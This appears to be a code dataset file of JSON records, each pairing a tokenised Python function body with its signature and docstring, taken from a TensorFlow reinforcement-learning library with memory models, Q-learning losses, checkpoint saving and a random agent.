{"signature": "def restore(self, directory=None, file=None):", "body": "if file is None:<EOL><INDENT>file = tf.train.latest_checkpoint(<EOL>checkpoint_dir=(self.saver_directory if directory is None else directory),<EOL>)<EOL><DEDENT>elif directory is None:<EOL><INDENT>file = os.path.join(self.saver_directory, file)<EOL><DEDENT>elif not os.path.isfile(file):<EOL><INDENT>file = os.path.join(directory, file)<EOL><DEDENT>self.saver.restore(sess=self.session, save_path=file)<EOL>self.session.run(fetches=self.list_buffer_index_reset_op)<EOL>", "docstring": "Restore TensorFlow model. If no checkpoint file is given, the latest checkpoint is\nrestored. If no checkpoint directory is given, the model's default saver directory is\nused (unless file specifies the entire path).\n\nArgs:\n    directory: Optional checkpoint directory.\n    file: Optional checkpoint file, or path if directory not given.", "id": "f14275:c0:m28"}
{"signature": "def get_components(self):", "body": "return dict()<EOL>", "docstring": "Returns a dictionary of component name to component of all the components within this model.\n\nReturns:\n    (dict) The mapping of name to component.", "id": "f14275:c0:m29"}
{"signature": "def get_savable_components(self):", "body": "components = self.get_components()<EOL>components = [components[name] for name in sorted(components)]<EOL>return set(filter(lambda x: isinstance(x, util.SavableComponent), components))<EOL>", "docstring": "Returns the list of all of the components this model consists of that can be individually saved and restored.\nFor instance the network or distribution.\n\nReturns:\n    List of util.SavableComponent", "id": "f14275:c0:m30"}
{"signature": "def save_component(self, component_name, save_path):", "body": "component = self.get_component(component_name=component_name)<EOL>self._validate_savable(component=component, component_name=component_name)<EOL>return component.save(sess=self.session, save_path=save_path)<EOL>", "docstring": "Saves a component of this model to the designated location.\n\nArgs:\n    component_name: The component to save.\n    save_path: The location to save to.\nReturns:\n    Checkpoint path where the component was saved.", "id": "f14275:c0:m32"}
{"signature": "def restore_component(self, component_name, save_path):", "body": "component = self.get_component(component_name=component_name)<EOL>self._validate_savable(component=component, component_name=component_name)<EOL>component.restore(sess=self.session, save_path=save_path)<EOL>", "docstring": "Restores a component's parameters from a save location.\n\nArgs:\n    component_name: The component to restore.\n    save_path: The save location.", "id": "f14275:c0:m33"}
{"signature": "def get_component(self, component_name):", "body": "mapping = self.get_components()<EOL>return mapping[component_name] if component_name in mapping else None<EOL>", "docstring": "Looks up a component by its name.\n\nArgs:\n    component_name: The name of the component to look up.\nReturns:\n    The component for the provided name or None if there is no such component.", "id": "f14275:c0:m34"}
{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>scope,<EOL>device,<EOL>saver,<EOL>summarizer,<EOL>execution,<EOL>batching_capacity,<EOL>variable_noise,<EOL>states_preprocessing,<EOL>actions_exploration,<EOL>reward_preprocessing,<EOL>update_mode,<EOL>memory,<EOL>optimizer,<EOL>discount<EOL>):", "body": "self.update_mode = update_mode<EOL>self.memory_spec = memory<EOL>self.optimizer_spec = optimizer<EOL>assert discount is None or discount >= <NUM_LIT:0.0><EOL>self.discount = discount<EOL>self.memory = None<EOL>self.optimizer = None<EOL>self.fn_discounted_cumulative_reward = None<EOL>self.fn_reference = None<EOL>self.fn_loss_per_instance = None<EOL>self.fn_regularization_losses = None<EOL>self.fn_loss = None<EOL>self.fn_optimization = None<EOL>self.fn_import_experience = None<EOL>super(MemoryModel, self).__init__(<EOL>states=states,<EOL>actions=actions,<EOL>scope=scope,<EOL>device=device,<EOL>saver=saver,<EOL>summarizer=summarizer,<EOL>execution=execution,<EOL>batching_capacity=batching_capacity,<EOL>variable_noise=variable_noise,<EOL>states_preprocessing=states_preprocessing,<EOL>actions_exploration=actions_exploration,<EOL>reward_preprocessing=reward_preprocessing<EOL>)<EOL>", "docstring": "Memory model.\n\nArgs:\n    states (spec): The state-space description dictionary.\n    actions (spec): The action-space description dictionary.\n    scope (str): The root scope str to use for tf variable scoping.\n    device (str): The name of the device to run the graph of this model on.\n    saver (spec): Dict specifying whether and how to save the model's parameters.\n    summarizer (spec): Dict specifying which tensorboard summaries should be created and added to the graph.\n    execution (spec): Dict specifying whether and how to do distributed training on the model's graph.\n    batching_capacity (int): Batching capacity.\n    variable_noise (float): The stddev value of a Normal distribution used for adding random\n        noise to the model's output (for each batch, noise can be toggled and - if active - will be resampled).\n        Use None for not adding any noise.\n    states_preprocessing (spec / dict of specs): Dict specifying whether and how to preprocess state signals\n        (e.g. normalization, greyscale, etc..).\n    actions_exploration (spec / dict of specs): Dict specifying whether and how to add exploration to the model's\n        \"action outputs\" (e.g. epsilon-greedy).\n    reward_preprocessing (spec): Dict specifying whether and how to preprocess rewards coming\n        from the Environment (e.g. reward normalization).\n    update_mode (spec): Update mode.\n    memory (spec): Memory.\n    optimizer (spec): Dict specifying the tf optimizer to use for tuning the model's trainable parameters.\n    discount (float): The RL reward discount factor (gamma).", "id": "f14277:c0:m0"}
{"signature": "def as_local_model(self):", "body": "super(MemoryModel, self).as_local_model()<EOL>self.optimizer_spec = dict(<EOL>type='<STR_LIT>',<EOL>optimizer=self.optimizer_spec<EOL>)<EOL>", "docstring": "Makes sure our optimizer is wrapped into the global_optimizer meta. This is only relevant for distributed RL.", "id": "f14277:c0:m1"}
{"signature": "def setup_components_and_tf_funcs(self, custom_getter=None):", "body": "custom_getter = super(MemoryModel, self).setup_components_and_tf_funcs(custom_getter)<EOL>self.memory = Memory.from_spec(<EOL>spec=self.memory_spec,<EOL>kwargs=dict(<EOL>states=self.states_spec,<EOL>internals=self.internals_spec,<EOL>actions=self.actions_spec,<EOL>summary_labels=self.summary_labels<EOL>)<EOL>)<EOL>self.optimizer = Optimizer.from_spec(<EOL>spec=self.optimizer_spec,<EOL>kwargs=dict(summary_labels=self.summary_labels)<EOL>)<EOL>self.fn_discounted_cumulative_reward = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_discounted_cumulative_reward,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.fn_reference = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_reference,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.fn_loss_per_instance = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_loss_per_instance,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.fn_regularization_losses = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_regularization_losses,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.fn_loss = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_loss,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.fn_optimization = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_optimization,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.fn_import_experience = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_import_experience,<EOL>custom_getter_=custom_getter<EOL>)<EOL>return custom_getter<EOL>", "docstring": "Constructs the memory and the optimizer objects.\nGenerates and stores all template functions.", "id": "f14277:c0:m2"}
{"signature": "def tf_initialize(self):", "body": "super(MemoryModel, self).tf_initialize()<EOL>self.memory.initialize()<EOL>", "docstring": "Also initializes our Memory object (self.memory).", "id": "f14277:c0:m3"}
{"signature": "def tf_discounted_cumulative_reward(self, terminal, reward, discount=None, final_reward=<NUM_LIT:0.0>, horizon=<NUM_LIT:0>):", "body": "<EOL>if discount is None:<EOL><INDENT>discount = self.discount<EOL><DEDENT>def cumulate(cumulative, reward_terminal_horizon_subtract):<EOL><INDENT>rew, is_terminal, is_over_horizon, sub = reward_terminal_horizon_subtract<EOL>return tf.where(<EOL>condition=is_terminal,<EOL>x=rew,<EOL>y=tf.where(<EOL>condition=is_over_horizon,<EOL>x=(rew + cumulative * discount - sub),<EOL>y=(rew + cumulative * discount)<EOL>)<EOL>)<EOL><DEDENT>def len_(cumulative, term):<EOL><INDENT>return tf.where(<EOL>condition=term,<EOL>x=tf.ones(shape=(), dtype=tf.int32),<EOL>y=cumulative + <NUM_LIT:1><EOL>)<EOL><DEDENT>reward = tf.reverse(tensor=reward, axis=(<NUM_LIT:0>,))<EOL>terminal = tf.reverse(tensor=terminal, axis=(<NUM_LIT:0>,))<EOL>lengths = tf.scan(fn=len_, elems=terminal, initializer=<NUM_LIT:0>)<EOL>off_horizon = tf.greater(lengths, tf.fill(dims=tf.shape(lengths), value=horizon))<EOL>if horizon > <NUM_LIT:0>:<EOL><INDENT>horizon_subtractions = tf.map_fn(lambda x: (discount ** horizon) * x, reward, dtype=tf.float32)<EOL>horizon_subtractions = tf.concat([np.zeros(shape=(horizon,)), horizon_subtractions], axis=<NUM_LIT:0>)<EOL>horizon_subtractions = tf.slice(horizon_subtractions, begin=(<NUM_LIT:0>,), size=tf.shape(reward))<EOL><DEDENT>else:<EOL><INDENT>horizon_subtractions = tf.zeros(shape=tf.shape(reward))<EOL><DEDENT>reward = tf.scan(<EOL>fn=cumulate,<EOL>elems=(reward, terminal, off_horizon, horizon_subtractions),<EOL>initializer=final_reward if horizon != <NUM_LIT:1> else <NUM_LIT:0.0><EOL>)<EOL>return tf.reverse(tensor=reward, axis=(<NUM_LIT:0>,))<EOL>", "docstring": "Creates and returns the TensorFlow operations for calculating the sequence of discounted cumulative rewards\nfor a given sequence of single rewards.\n\nExample:\nsingle rewards = 2.0 1.0 0.0 0.5 1.0 -1.0\nterminal = False, False, False, False True False\ngamma = 0.95\nfinal_reward = 100.0 (only matters for last episode (r=-1.0) as this episode has no terminal signal)\nhorizon=3\noutput = 2.95 1.45 1.38 1.45 1.0 94.0\n\nArgs:\n    terminal: Tensor (bool) holding the is-terminal sequence. This sequence may contain more than one\n        True value. If its very last element is False (not terminating), the given `final_reward` value\n        is assumed to follow the last value in the single rewards sequence (see below).\n    reward: Tensor (float) holding the sequence of single rewards. If the last element of `terminal` is False,\n        an assumed last reward of the value of `final_reward` will be used.\n    discount (float): The discount factor (gamma). By default, take the Model's discount factor.\n    final_reward (float): Reward value to use if last episode in sequence does not terminate (terminal sequence\n        ends with False). This value will be ignored if horizon == 1 or discount == 0.0.\n    horizon (int): The length of the horizon (e.g. for n-step cumulative rewards in continuous tasks\n        without terminal signals). Use 0 (default) for an infinite horizon. Note that horizon=1 leads to the\n        exact same results as a discount factor of 0.0.\n\nReturns:\n    Discounted cumulative reward tensor with the same shape as `reward`.", "id": "f14277:c0:m4"}
{"signature": "def tf_reference(self, states, internals, actions, terminal, reward, next_states, next_internals, update):", "body": "return None<EOL>", "docstring": "Creates the TensorFlow operations for obtaining the reference tensor(s), in case of a\ncomparative loss.\n\nArgs:\n    states: Dict of state tensors.\n    internals: List of prior internal state tensors.\n    actions: Dict of action tensors.\n    terminal: Terminal boolean tensor.\n    reward: Reward tensor.\n    next_states: Dict of successor state tensors.\n    next_internals: List of posterior internal state tensors.\n    update: Boolean tensor indicating whether this call happens during an update.\n\nReturns:\n    Reference tensor(s).", "id": "f14277:c0:m5"}
{"signature": "def tf_loss_per_instance(self, states, internals, actions, terminal, reward,<EOL>next_states, next_internals, update, reference=None):", "body": "raise NotImplementedError<EOL>", "docstring": "Creates the TensorFlow operations for calculating the loss per batch instance.\n\nArgs:\n    states: Dict of state tensors.\n    internals: Dict of prior internal state tensors.\n    actions: Dict of action tensors.\n    terminal: Terminal boolean tensor.\n    reward: Reward tensor.\n    next_states: Dict of successor state tensors.\n    next_internals: List of posterior internal state tensors.\n    update: Boolean tensor indicating whether this call happens during an update.\n    reference: Optional reference tensor(s), in case of a comparative loss.\n\nReturns:\n    Loss per instance tensor.", "id": "f14277:c0:m6"}
{"signature": "def tf_regularization_losses(self, states, internals, update):", "body": "return dict()<EOL>", "docstring": "Creates the TensorFlow operations for calculating the regularization losses for the given input states.\n\nArgs:\n    states: Dict of state tensors.\n    internals: List of prior internal state tensors.\n    update: Boolean tensor indicating whether this call happens during an update.\n\nReturns:\n    Dict of regularization loss tensors.", "id": "f14277:c0:m7"}
{"signature": "def tf_loss(self, states, internals, actions, terminal, reward, next_states, next_internals, update, reference=None):", "body": "<EOL>loss_per_instance = self.fn_loss_per_instance(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward,<EOL>next_states=next_states,<EOL>next_internals=next_internals,<EOL>update=update,<EOL>reference=reference<EOL>)<EOL>updated = self.memory.update_batch(loss_per_instance=loss_per_instance)<EOL>with tf.control_dependencies(control_inputs=(updated,)):<EOL><INDENT>loss = tf.reduce_mean(input_tensor=loss_per_instance, axis=<NUM_LIT:0>)<EOL>if '<STR_LIT>' in self.summary_labels:<EOL><INDENT>tf.contrib.summary.scalar(name='<STR_LIT>', tensor=loss)<EOL><DEDENT>losses = self.fn_regularization_losses(states=states, internals=internals, update=update)<EOL>if len(losses) > <NUM_LIT:0>:<EOL><INDENT>loss += tf.add_n(inputs=[losses[name] for name in sorted(losses)])<EOL>if '<STR_LIT>' in self.summary_labels:<EOL><INDENT>for name in sorted(losses):<EOL><INDENT>tf.contrib.summary.scalar(name=('<STR_LIT>' + name), tensor=losses[name])<EOL><DEDENT><DEDENT><DEDENT>if '<STR_LIT>' in self.summary_labels or '<STR_LIT>' in self.summary_labels:<EOL><INDENT>tf.contrib.summary.scalar(name='<STR_LIT>', tensor=loss)<EOL><DEDENT>return loss<EOL><DEDENT>", "docstring": "Creates the TensorFlow operations for calculating the full loss of a batch.\n\nArgs:\n    states: Dict of state tensors.\n    internals: List of prior internal state tensors.\n    actions: Dict of action tensors.\n    terminal: Terminal boolean tensor.\n    reward: Reward tensor.\n    next_states: Dict of successor state tensors.\n    next_internals: List of posterior internal state tensors.\n    update: Boolean tensor indicating whether this call happens during an update.\n    reference: Optional reference tensor(s), in case of a comparative loss.\n\nReturns:\n    Loss tensor.", "id": "f14277:c0:m8"}
{"signature": "def optimizer_arguments(self, states, internals, actions, terminal, reward, next_states, next_internals):", "body": "arguments = dict(<EOL>time=self.global_timestep,<EOL>variables=self.get_variables(),<EOL>arguments=dict(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward,<EOL>next_states=next_states,<EOL>next_internals=next_internals,<EOL>update=tf.constant(value=True)<EOL>),<EOL>fn_reference=self.fn_reference,<EOL>fn_loss=self.fn_loss<EOL>)<EOL>if self.global_model is not None:<EOL><INDENT>arguments['<STR_LIT>'] = self.global_model.get_variables()<EOL><DEDENT>return arguments<EOL>", "docstring": "Returns the optimizer arguments including the time, the list of variables to optimize,\nand various functions which the optimizer might require to perform an update step.\n\nArgs:\n    states (dict): Dict of state tensors.\n    internals (dict): Dict of prior internal state tensors.\n    actions (dict): Dict of action tensors.\n    terminal: 1D boolean is-terminal tensor.\n    reward: 1D (float) rewards tensor.\n    next_states (dict): Dict of successor state tensors.\n    next_internals (dict): Dict of posterior internal state tensors.\n\nReturns:\n    Optimizer arguments as dict to be used as **kwargs to the optimizer.", "id": "f14277:c0:m9"}
{"signature": "def tf_optimization(self, states, internals, actions, terminal, reward, next_states=None, next_internals=None):", "body": "arguments = self.optimizer_arguments(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward,<EOL>next_states=next_states,<EOL>next_internals=next_internals<EOL>)<EOL>return self.optimizer.minimize(**arguments)<EOL>", "docstring": "Creates the TensorFlow operations for performing an optimization update step based\non the given input states and actions batch.\n\nArgs:\n    states: Dict of state tensors.\n    internals: List of prior internal state tensors.\n    actions: Dict of action tensors.\n    terminal: Terminal boolean tensor.\n    reward: Reward tensor.\n    next_states: Dict of successor state tensors.\n    next_internals: List of posterior internal state tensors.\n\nReturns:\n    The optimization operation.", "id": "f14277:c0:m10"}
{"signature": "def tf_observe_timestep(self, states, internals, actions, terminal, reward):", "body": "<EOL>stored = self.memory.store(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward<EOL>)<EOL>with tf.control_dependencies(control_inputs=(stored,)):<EOL><INDENT>unit = self.update_mode['<STR_LIT>']<EOL>batch_size = self.update_mode['<STR_LIT>']<EOL>frequency = self.update_mode.get('<STR_LIT>', batch_size)<EOL>first_update = self.update_mode.get('<STR_LIT>', <NUM_LIT:0>)<EOL>if unit == '<STR_LIT>':<EOL><INDENT>optimize = tf.logical_and(<EOL>x=tf.equal(x=(self.timestep % frequency), y=<NUM_LIT:0>),<EOL>y=tf.logical_and(<EOL>x=tf.greater_equal(x=self.timestep, y=batch_size),<EOL>y=tf.greater_equal(x=self.timestep, y=first_update)<EOL>)<EOL>)<EOL><DEDENT>elif unit == '<STR_LIT>':<EOL><INDENT>optimize = tf.logical_and(<EOL>x=tf.equal(x=(self.episode % frequency), y=<NUM_LIT:0>),<EOL>y=tf.logical_and(<EOL>x=tf.greater(x=tf.count_nonzero(input_tensor=terminal), y=<NUM_LIT:0>),<EOL>y=tf.logical_and(<EOL>x=tf.greater_equal(x=self.episode, y=batch_size),<EOL>y=tf.greater_equal(x=self.episode, y=first_update)<EOL>)<EOL>)<EOL>)<EOL><DEDENT>elif unit == '<STR_LIT>':<EOL><INDENT>sequence_length = self.update_mode.get('<STR_LIT>', <NUM_LIT:8>)<EOL>optimize = tf.logical_and(<EOL>x=tf.equal(x=(self.timestep % frequency), y=<NUM_LIT:0>),<EOL>y=tf.logical_and(<EOL>x=tf.greater_equal(x=self.timestep, y=(batch_size + sequence_length - <NUM_LIT:1>)),<EOL>y=tf.greater_equal(x=self.timestep, y=first_update)<EOL>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\".format(unit))<EOL><DEDENT>def true_fn():<EOL><INDENT>if unit == '<STR_LIT>':<EOL><INDENT>batch = self.memory.retrieve_timesteps(n=batch_size)<EOL><DEDENT>elif unit == '<STR_LIT>':<EOL><INDENT>batch = self.memory.retrieve_episodes(n=batch_size)<EOL><DEDENT>elif unit == '<STR_LIT>':<EOL><INDENT>batch = self.memory.retrieve_sequences(n=batch_size, sequence_length=sequence_length)<EOL><DEDENT>batch = util.map_tensors(<EOL>fn=(lambda tensor: tf.stop_gradient(input=tensor)),<EOL>tensors=batch<EOL>)<EOL>optimize = self.fn_optimization(**batch)<EOL>with tf.control_dependencies(control_inputs=(optimize,)):<EOL><INDENT>return tf.logical_and(x=True, y=True)<EOL><DEDENT><DEDENT>return tf.cond(pred=optimize, true_fn=true_fn, false_fn=tf.no_op)<EOL><DEDENT>", "docstring": "Creates and returns the op that - if frequency condition is hit - pulls a batch from the memory\nand does one optimization step.", "id": "f14277:c0:m11"}
{"signature": "def tf_import_experience(self, states, internals, actions, terminal, reward):", "body": "return self.memory.store(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward<EOL>)<EOL>", "docstring": "Imports experiences into the TensorFlow memory structure. Can be used to import\noff-policy data.\n\n:param states: Dict of state values to import with keys as state names and values as values to set.\n:param internals: Internal values to set, can be fetched from agent via agent.current_internals\n    if no values available.\n:param actions: Dict of action values to import with keys as action names and values as values to set.\n:param terminal: Terminal value(s)\n:param reward: Reward value(s)", "id": "f14277:c0:m12"}
{"signature": "def import_experience(self, states, internals, actions, terminal, reward):", "body": "fetches = self.import_experience_output<EOL>feed_dict = self.get_feed_dict(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward<EOL>)<EOL>self.monitored_session.run(fetches=fetches, feed_dict=feed_dict)<EOL>", "docstring": "Stores experiences.", "id": "f14277:c0:m15"}
{"signature": "def tf_baseline_loss(self, states, internals, reward, update, reference=None):", "body": "if self.baseline_mode == '<STR_LIT>':<EOL><INDENT>loss = self.baseline.loss(<EOL>states=states,<EOL>internals=internals,<EOL>reward=reward,<EOL>update=update,<EOL>reference=reference<EOL>)<EOL><DEDENT>elif self.baseline_mode == '<STR_LIT>':<EOL><INDENT>loss = self.baseline.loss(<EOL>states=self.network.apply(x=states, internals=internals, update=update),<EOL>internals=internals,<EOL>reward=reward,<EOL>update=update,<EOL>reference=reference<EOL>)<EOL><DEDENT>regularization_loss = self.baseline.regularization_loss()<EOL>if regularization_loss is not None:<EOL><INDENT>loss += regularization_loss<EOL><DEDENT>return loss<EOL>", "docstring": "Creates the TensorFlow operations for calculating the baseline loss of a batch.\n\nArgs:\n    states: Dict of state tensors.\n    internals: List of prior internal state tensors.\n    reward: Reward tensor.\n    update: Boolean tensor indicating whether this call happens during an update.\n    reference: Optional reference tensor(s), in case of a comparative loss.\n\nReturns:\n    Loss tensor.", "id": "f14283:c0:m5"}
{"signature": "def baseline_optimizer_arguments(self, states, internals, reward):", "body": "arguments = dict(<EOL>time=self.global_timestep,<EOL>variables=self.baseline.get_variables(),<EOL>arguments=dict(<EOL>states=states,<EOL>internals=internals,<EOL>reward=reward,<EOL>update=tf.constant(value=True),<EOL>),<EOL>fn_reference=self.baseline.reference,<EOL>fn_loss=self.fn_baseline_loss,<EOL>)<EOL>if self.global_model is not None:<EOL><INDENT>arguments['<STR_LIT>'] = self.global_model.baseline.get_variables()<EOL><DEDENT>return arguments<EOL>", "docstring": "Returns the baseline optimizer arguments including the time, the list of variables to  \noptimize, and various functions which the optimizer might require to perform an update  \nstep.\n\nArgs:\n    states: Dict of state tensors.\n    internals: List of prior internal state tensors.\n    reward: Reward tensor.\n\nReturns:\n    Baseline optimizer arguments as dict.", "id": "f14283:c0:m6"}
{"signature": "def setup_components_and_tf_funcs(self, custom_getter=None):", "body": "custom_getter = super(QDemoModel, self).setup_components_and_tf_funcs(custom_getter)<EOL>self.demo_memory = Replay(<EOL>states=self.states_spec,<EOL>internals=self.internals_spec,<EOL>actions=self.actions_spec,<EOL>include_next_states=True,<EOL>capacity=self.demo_memory_capacity,<EOL>scope='<STR_LIT>',<EOL>summary_labels=self.summary_labels<EOL>)<EOL>self.fn_import_demo_experience = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_import_demo_experience,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.fn_demo_loss = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_demo_loss,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.fn_combined_loss = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_combined_loss,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.fn_demo_optimization = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_demo_optimization,<EOL>custom_getter_=custom_getter<EOL>)<EOL>return custom_getter<EOL>", "docstring": "Constructs the extra Replay memory.", "id": "f14284:c0:m1"}
{"signature": "def tf_import_demo_experience(self, states, internals, actions, terminal, reward):", "body": "return self.demo_memory.store(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward<EOL>)<EOL>", "docstring": "Imports a single experience to memory.", "id": "f14284:c0:m3"}
{"signature": "def tf_demo_loss(self, states, actions, terminal, reward, internals, update, reference=None):", "body": "embedding = self.network.apply(x=states, internals=internals, update=update)<EOL>deltas = list()<EOL>for name in sorted(actions):<EOL><INDENT>action = actions[name]<EOL>distr_params = self.distributions[name].parameterize(x=embedding)<EOL>state_action_value = self.distributions[name].state_action_value(distr_params=distr_params, action=action)<EOL>if self.actions_spec[name]['<STR_LIT:type>'] == '<STR_LIT:bool>':<EOL><INDENT>num_actions = <NUM_LIT:2><EOL>action = tf.cast(x=action, dtype=util.tf_dtype('<STR_LIT:int>'))<EOL><DEDENT>else:<EOL><INDENT>num_actions = self.actions_spec[name]['<STR_LIT>']<EOL><DEDENT>one_hot = tf.one_hot(indices=action, depth=num_actions)<EOL>ones = tf.ones_like(tensor=one_hot, dtype=tf.float32)<EOL>inverted_one_hot = ones - one_hot<EOL>state_action_values = self.distributions[name].state_action_value(distr_params=distr_params)<EOL>state_action_values = state_action_values + inverted_one_hot * self.expert_margin<EOL>supervised_selector = tf.reduce_max(input_tensor=state_action_values, axis=-<NUM_LIT:1>)<EOL>delta = supervised_selector - state_action_value<EOL>action_size = util.prod(self.actions_spec[name]['<STR_LIT>'])<EOL>delta = tf.reshape(tensor=delta, shape=(-<NUM_LIT:1>, action_size))<EOL>deltas.append(delta)<EOL><DEDENT>loss_per_instance = tf.reduce_mean(input_tensor=tf.concat(values=deltas, axis=<NUM_LIT:1>), axis=<NUM_LIT:1>)<EOL>loss_per_instance = tf.square(x=loss_per_instance)<EOL>return tf.reduce_mean(input_tensor=loss_per_instance, axis=<NUM_LIT:0>)<EOL>", "docstring": "Extends the q-model loss via the dqfd large-margin loss.", "id": "f14284:c0:m4"}
{"signature": "def tf_combined_loss(self, states, internals, actions, terminal, reward, next_states, next_internals, update, reference=None):", "body": "q_model_loss = self.fn_loss(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward,<EOL>next_states=next_states,<EOL>next_internals=next_internals,<EOL>update=update,<EOL>reference=reference<EOL>)<EOL>demo_loss = self.fn_demo_loss(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward,<EOL>update=update,<EOL>reference=reference<EOL>)<EOL>return q_model_loss + self.supervised_weight * demo_loss<EOL>", "docstring": "Combines Q-loss and demo loss.", "id": "f14284:c0:m5"}
{"signature": "def get_variables(self, include_submodules=False, include_nontrainable=False):", "body": "model_variables = super(QDemoModel, self).get_variables(<EOL>include_submodules=include_submodules,<EOL>include_nontrainable=include_nontrainable<EOL>)<EOL>if include_nontrainable:<EOL><INDENT>demo_memory_variables = self.demo_memory.get_variables()<EOL>model_variables += demo_memory_variables<EOL><DEDENT>return model_variables<EOL>", "docstring": "Returns the TensorFlow variables used by the model.\n\nReturns:\n    List of variables.", "id": "f14284:c0:m9"}
{"signature": "def import_demo_experience(self, states, internals, actions, terminal, reward):", "body": "fetches = self.import_demo_experience_output<EOL>feed_dict = self.get_feed_dict(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward<EOL>)<EOL>self.monitored_session.run(fetches=fetches, feed_dict=feed_dict)<EOL>", "docstring": "Stores demonstrations in the demo memory.", "id": "f14284:c0:m10"}
{"signature": "def demo_update(self):", "body": "fetches = self.demo_optimization_output<EOL>self.monitored_session.run(fetches=fetches)<EOL>", "docstring": "Performs a demonstration update by calling the demo optimization operation.\nNote that the batch data does not have to be fetched from the demo memory as this is now part of\nthe TensorFlow operation of the demo update.", "id": "f14284:c0:m11"}
{"signature": "def tf_q_delta(self, q_value, next_q_value, terminal, reward):", "body": "for _ in range(util.rank(q_value) - <NUM_LIT:1>):<EOL><INDENT>terminal = tf.expand_dims(input=terminal, axis=<NUM_LIT:1>)<EOL>reward = tf.expand_dims(input=reward, axis=<NUM_LIT:1>)<EOL><DEDENT>multiples = (<NUM_LIT:1>,) + util.shape(q_value)[<NUM_LIT:1>:]<EOL>terminal = tf.tile(input=terminal, multiples=multiples)<EOL>reward = tf.tile(input=reward, multiples=multiples)<EOL>zeros = tf.zeros_like(tensor=next_q_value)<EOL>next_q_value = tf.where(condition=terminal, x=zeros, y=(self.discount * next_q_value))<EOL>return reward + next_q_value - q_value<EOL>", "docstring": "Creates the deltas (or advantage) of the Q values.\n\n:return: A list of deltas per action", "id": "f14285:c0:m4"}
{"signature": "def target_optimizer_arguments(self):", "body": "variables = self.target_network.get_variables() + [<EOL>variable for name in sorted(self.target_distributions)<EOL>for variable in self.target_distributions[name].get_variables()<EOL>]<EOL>source_variables = self.network.get_variables() + [<EOL>variable for name in sorted(self.distributions)<EOL>for variable in self.distributions[name].get_variables()<EOL>]<EOL>arguments = dict(<EOL>time=self.global_timestep,<EOL>variables=variables,<EOL>source_variables=source_variables<EOL>)<EOL>if self.global_model is not None:<EOL><INDENT>arguments['<STR_LIT>'] = self.global_model.target_network.get_variables() + [<EOL>variable for name in sorted(self.global_model.target_distributions)<EOL>for variable in self.global_model.target_distributions[name].get_variables()<EOL>]<EOL><DEDENT>return arguments<EOL>", "docstring": "Returns the target optimizer arguments including the time, the list of variables to  \noptimize, and various functions which the optimizer might require to perform an update  \nstep.\n\nReturns:\n    Target optimizer arguments as dict.", "id": "f14285:c0:m6"}
{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>batched_observe=True,<EOL>batching_capacity=<NUM_LIT:1000>,<EOL>scope='<STR_LIT>',<EOL>device=None,<EOL>saver=None,<EOL>summarizer=None,<EOL>execution=None,<EOL>):", "body": "self.scope = scope<EOL>self.device = device<EOL>self.saver = saver<EOL>self.summarizer = summarizer<EOL>self.execution = sanity_check_execution_spec(execution)<EOL>super(RandomAgent, self).__init__(<EOL>states=states,<EOL>actions=actions,<EOL>batched_observe=batched_observe,<EOL>batching_capacity=batching_capacity<EOL>)<EOL>", "docstring": "Initializes the random agent.\n\nArgs:\n    scope (str): TensorFlow scope (default: name of agent).\n    device: TensorFlow device (default: none)\n    saver (spec): Saver specification, with the following attributes (default: none):\n        - directory: model directory.\n        - file: model filename (optional).\n        - seconds or steps: save frequency (default: 600 seconds).\n        - load: specifies whether model is loaded, if existent (default: true).\n        - basename: optional file basename (default: 'model.ckpt').\n    summarizer (spec): Summarizer specification, with the following attributes (default:\n        none):\n        - directory: summaries directory.\n        - seconds or steps: summarize frequency (default: 120 seconds).\n        - labels: list of summary labels to record (default: []).\n        - meta_param_recorder_class: ???.\n    execution (spec): Execution specification (see sanity_check_execution_spec for details).", "id": "f14286:c0:m0"}
